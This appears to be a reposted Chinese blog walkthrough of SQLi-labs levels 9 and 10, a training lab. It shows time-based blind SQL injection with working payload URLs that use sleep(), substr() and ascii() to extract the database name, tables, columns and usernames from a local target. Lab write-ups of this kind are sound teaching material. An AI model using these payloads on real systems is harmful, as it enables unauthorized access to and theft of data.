SQLI-labs-第九关和第十关

知识点:时间盲注

思路:

1、判断注入点

首先,我们先看一下注入点,输入?id=1

接着输入?id=1' #   结果还是没有变化

接着再输入 ?id=1" #  结果还是没变 

再输入?id=-1 结果还是一样

通过这几种测试方法,结果回显都是一样,既没有显示语句错误,也没有报错,我们可以猜测为时间盲注。但不知道是单引号、还是双引号,可以在下面证实。根据原理知道为单引号

2、时间盲注的函数

sleep() :时间函数,可以延时

if(条件表达式,True, Flase) : 如果条件表达式符合则会显示True的内容,反之则为Flase

length() :判断当前字符的长度

substr(str,pos,len) 

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度

ascii(): ascii 转码

3、判断当前数据库的长度以及库名

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())>3,sleep(5),1) --+

如果当前数据库的长度大于3的话,则延时5秒执行

注:注释符 get方式用 --+ post 方式用  #

通过这种方式可以推断出当前数据库的表的长度

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())=8,sleep(5),1) --+

接下来就可以推断数据库的名字,可以a~z,A~Z进行推断

我们从a开始试,试出第一个字母为 ’s' 

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

依次类推,通过改变subst()函数的值和ASCII码值,我们可以推出数据库名为“security”

4、判断表名

我们还是使用ascii转码和substr()

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+

第一张表的第一个字母为'e',依次类推,通过改变limit和subst()函数的值和ASCII码值可以推断出所有的表名

5、判断字段名

我们以users为例

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+

通过这样的步骤,可以推断出users表的所有字段

6、爆值

爆用户名

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+

通过这种方式可以得到所有的信息


第10关

第10关的思路跟第9关的思路是一样的,只不过注入点的类型不同

1、判断注入点

回显是一样的,所以可以判断为时间盲注

通过下面的回显,可以判断为双引号的时间盲注,接下来的判断就跟第9关的一样


这篇文章就写到这里,哪里表述不清楚的欢迎批评指正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/619741.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

24. 【Android教程】适配器 Adapter

本节将会引入一个全新的概念——适配器,这个名字很形象,和电源适配器的功能类似,从程序设计的角度出发,它可以将不同类型、不同结构的数据适配到一起。 在 Android 中,适配器是 UI 组件和数据之间的桥梁,它…

C/C++基础----指针

指针的定义 在c/c中,有一个特殊的变量指向我们电脑中某个内存地址,进而可以让我们操作这段内存,指的就是指针类型 语法: int a 10; int* p &a;&符号是取出某个变量的内存地址 把这个内存地址赋值给一个变量p&#xff…

vscode和pycharm等idea编写protobuf文件格式化

想在pycharm或者goland等idea中开发protobuf文件的话,可以安装一个插件:protocol-buffers 安装之后,proto文件就会支持高亮和格式化了。 如果是vscode想要编写proto文件,可以安装另外一个插件:vscode-proto3 安装后&a…

自定义vue-cli 实现预设模板项目

模板结构 主要包括四个部分: preset.jsonprompts.jsgenerator/index.jstemplate/ 项目最终结构 preset.json preset.json 中是一个包含创建新项目所需预定义选项和插件的 JSON 对象,让用户无需在命令提示中选择它们,简称预设;…

【C 数据结构】栈

文章目录 【 1. 基本原理 】栈的分类 【 2. 动态链表栈 】2.1 双结构体实现2.1.0 栈的节点设计2.1.1 入栈2.1.2 出栈2.1.3 遍历2.1.4 实例 2.2 单结构体实现2.2.0 栈的节点设计2.2.1 入栈2.2.2 出栈2.2.3 实例 【 3. 顺序栈 】3.1 入栈3.2 出栈3.3 实例 【 1. 基本原理 】 栈&…

手机数据恢复工具

下载地址:手机数据恢复工具.zip Android/HarmonyOS 文件误删是日常使用电子设备时经常遇到的问题,也许一不小心就就可能会误删。 俗话说:数据无价,一但想要找回一些被删除的文件,就需要耗费大量的精力和财力来恢复文…

three.js捋文档的记录笔记(六):场景 几何体 材质 物体 相机 渲染器的简单理解

三维场景Scene const scene new THREE.Scene();物体形状:几何体 Geometry //创建一个长方体几何对象Geometry const geometry new THREE.BoxGeometry(100, 100, 100); 物体外观:材质Material //创建一个材质对象Material const material new THREE.M…

锂电池寿命预测 | Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 锂电池寿命预测 | Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测 程序设计 完整程序和数据获取方式:私信博主回复Matlab基于BiLSTM双向长短期记忆神经网络的锂电池寿命预测。 参考资料 [1] h…

自编译支持CUDA硬解的OPENCV和FFMPEG

1 整体思路 查阅opencv的官方文档,可看到有个cudacodec扩展,用他可方便的进行编解码。唯一麻烦的是需要自行编译opencv。 同时,为了考虑后续方便,顺手编译了FFMPEG,并将其与OPENCV绑定。 在之前的博文“鲲鹏主机昇腾A…

家庭网络防御系统搭建-将NDR系统的zeek日志集成到security onion

在前面的文章中安装了zeek,这里,安装了securityonion,这里,本文讲述如何将zeek生成的日志发送到siem security onion之中。 所有日志集成的步骤分为如下几步: 日志收集配置日志发送接收日志解析配置日志展示配置 ZEEK日志收集配…

BackTrader 中文文档(十二)

原文:www.backtrader.com/ Visual Chart 原文:www.backtrader.com/docu/live/vc/vc/ 与 Visual Chart 的集成支持两者: 实时数据提供 实时交易 Visual Chart是完整的交易解决方案: 在单个平台上集成图表、数据源和经纪功能 更多…

第⑭讲:Ceph集群管理:守护进程管理、日志管理和端口号配置

文章目录 1.Ceph各组件守护进程的管理方式2.守护进程管理操作2.1.Ceph所有组件的守护进程列表2.2.重启当前主机中所有的Ceph组件2.3.重启主机中所有的Monitor组件2.4.重启指定主机的Monitor组件2.5.重启指定的OSD组件 3.Ceph的日志管理4.Ceph集群各组件的守护进程5.Ceph集群各组…